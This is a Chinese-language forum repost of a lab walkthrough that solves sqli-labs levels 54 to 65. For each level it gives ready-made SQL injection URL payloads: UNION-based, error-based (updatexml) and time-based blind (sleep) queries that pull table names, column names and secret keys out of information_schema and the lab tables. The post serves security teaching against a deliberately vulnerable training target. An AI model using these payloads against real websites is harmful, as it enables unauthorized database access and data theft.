笑看天下无敌手 发表于 2024-6-13 19:57:34

以sqlilabs靶场为例,讲解SQL注入攻击原理【54-65关】

【Less-54】

https://img-blog.csdnimg.cn/direct/2551bf64cc6049e696a26e29e8c577ce.png
与前面的标题不同是,这里只能提交10次,一旦提交超过十次,数据会重新革新,全部的步调需要重来一次。
解题步调:
根据测试,使用的是单引号闭合。
# 判断字段的数量
?id=1' order by 3 -- aaa

# 获取数据库的名字
?id=-1' union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa

# 获取字段名,上一步获取的数据表名为73m93vdzgg(随机生成的)
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='73m93vdzgg'-- aa

# 获取目标信息
?id=-1' union select 1,2,secret_8QFM from 73m93vdzgg -- aa https://img-blog.csdnimg.cn/direct/b4aab44bcdb14961b9ce07d0bf16ace5.png
https://img-blog.csdnimg.cn/direct/9eded697013b46afab0f6bd4e144106a.png
最后把获取到的Key值放入输入框中提交,通关。
【Less-55】

通过测试,使用的是括号闭合。
https://img-blog.csdnimg.cn/direct/5e3cc710c9504e9cbba5723aefc78de7.png
解题步调:
# 判断字段的数量
?id=1) order by 3 -- aaa

# 获取数据库的名字
?id=-1) union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa

# 获取字段名,上一步获取的数据表名为lll4ndq8t5(随机生成的)
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='lll4ndq8t5'-- aa

# 获取目标信息,字段名为secret_JY1K
?id=-1) union select 1,2,secret_JY1K from lll4ndq8t5 -- aa https://img-blog.csdnimg.cn/direct/8f66313c2c784a0f8a5f03789a225922.png
https://img-blog.csdnimg.cn/direct/2d2bb64785f441febf9e37d04f9c6f6a.png
https://img-blog.csdnimg.cn/direct/965043d970774c3abd3e883272c3d422.png
【Less-56】

与上面两题雷同,只是闭合的范例不同,采用的是单引号括号的方式。
解题步调和上面根本划一,如下:
# 判断字段的数量
?id=1') order by 3 -- aaa

# 获取数据库的名字
?id=-1') union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa

# 获取字段名,上一步获取的数据表名为bpunqnpx62(随机生成的)
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='bpunqnpx62'-- aa

# 获取目标信息,字段名为secret_0OCB
?id=-1') union select 1,2,secret_0OCB from bpunqnpx62 -- aa https://img-blog.csdnimg.cn/direct/3708a35a7ca1482386a855c0eb7ea5f1.png
【Less-57】

同样范例的标题,与之前的几题根本一样,只是闭合采用的是双引号。
解题步调:
# 判断字段的数量
?id=1" order by 3 -- aaa

# 获取数据库的名字
?id=-1" union select 1,2,database() -- aa

# 获取数据表的名字
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa

# 获取字段名,上一步获取的数据表名为mim20rhi4p(随机生成的)
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='mim20rhi4p'-- aa

# 获取目标信息,字段名为secret_3YCT
?id=-1" union select 1,2,secret_3YCT from mim20rhi4p -- aa https://img-blog.csdnimg.cn/direct/2ab6320079f64e64b68d1ce469f6578e.png
【Less-58】

通过测试,使用的是单引号闭合。
解题过程和之前的集体雷同,只是没有回显信息,解题步调如下:

# 获取数据库的名字
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa
# 获取数据表的名字
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa

# 获取字段名,上一步获取的数据表字段名为s93lfq2cfa(随机生成的)
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='s93lfq2cfa'),0x7e),1) -- aa

# 获取目标信息,字段名为secret_REV6
?id=-1' and updatexml(1,concat(0x7e,(select secret_REV6 from s93lfq2cfa),0x7e),1) -- aa

https://img-blog.csdnimg.cn/direct/d787ce9bb2534a93ac1c045181f17804.png
https://img-blog.csdnimg.cn/direct/7832522c7e834ebfa06c85cd7fd96db1.png
https://img-blog.csdnimg.cn/direct/2f737a1a8cf140b3a07e3aee0a806c6b.png
【Less-59】

与Less-58根本相同,唯一的不同在于闭合方式,Less-59是直接注入的方式。
# 获取数据库的名字
?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

# 获取数据表的名字 w7hf6t37nt
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

# 获取字段名,上一步获取的数据表名为w7hf6t37nt(随机生成的)
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='w7hf6t37nt'),0x7e),1)

# 获取目标信息,字段名为secret_D5MM
?id=-1 and updatexml(1,concat(0x7e,(select secret_D5MM from w7hf6t37nt),0x7e),1)
https://img-blog.csdnimg.cn/direct/e5ff449f35de43519be14955fd382fda.png
https://img-blog.csdnimg.cn/direct/13205d4874654988997fcc97c77cd5a3.png
【Less-60】

与上题雷同,闭合使用的是双引号括号。
解题步调:

# 获取数据库的名字
?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa

# 获取数据表的名字
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa

# 获取字段名,上一步获取的数据表名为kz7qxr5nq1(随机生成的)
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='kz7qxr5nq1'),0x7e),1) -- aa

# 获取目标信息,字段名为secret_TEGV
?id=-1") and updatexml(1,concat(0x7e,(select secret_TEGV from kz7qxr5nq1),0x7e),1) -- aa

https://img-blog.csdnimg.cn/direct/745e5983ff1e432ba4dc95ad019b53dd.png
【Less-61】

颠末测试,本题的闭合方式为单引号加两个括号。
解题步调:

# 获取数据库的名字
?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa

# 获取数据表的名字
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa

# 获取字段名,上一步获取的数据表名为31nbt3hzri(随机生成的)
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='31nbt3hzri'),0x7e),1) -- aa

# 获取目标信息,字段名为secret_QQ63
?id=-1')) and updatexml(1,concat(0x7e,(select secret_QQ63 from 31nbt3hzri),0x7e),1) -- aa

https://img-blog.csdnimg.cn/direct/3c6f3131629843bcb1968653bc6c0a06.png
【Less-62】

此题的闭合方式为单引号加括号,与之前标题不同的是,此题没有显错,采用盲注的方式解题。
解题步调:
# 获取数据库的名字,长度为10
?id=1') and length(database())=10 -- aa

# 获取数据库的名字
?id=1') and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1') and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa




此时可以使用Burp Sutie工具实现名字的遍历。
https://img-blog.csdnimg.cn/direct/f856ebc5769140f598043533a95e04bd.png
【Less-63】

根本与Less-62一样,闭合是单引号闭合。
 解题步调:
# 获取数据库的名字,长度为10
?id=1' and length(database())=10 -- aa

# 获取数据库的名字
?id=1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

【Less-64】

根本与Less-63一样,闭合是两个括号
 解题步调:
# 获取数据库的名字,长度为10
?id=1)) and length(database())=10 -- aa

# 获取数据库的名字
?id=1)) and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1)) and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1)) and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1)) and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

【Less-65】

根本与Less-63一样,闭合是双引号括号
 解题步调:
# 获取数据库的名字,长度为10
?id=1") and length(database())=10 -- aa

# 获取数据库的名字
?id=1")and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa


# 获取数据表名的长度,10
?id=1") and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa

# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1") and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa

# 获取字段名
?id=1") and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa






免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 以sqlilabs靶场为例,讲解SQL注入攻击原理【54-65关】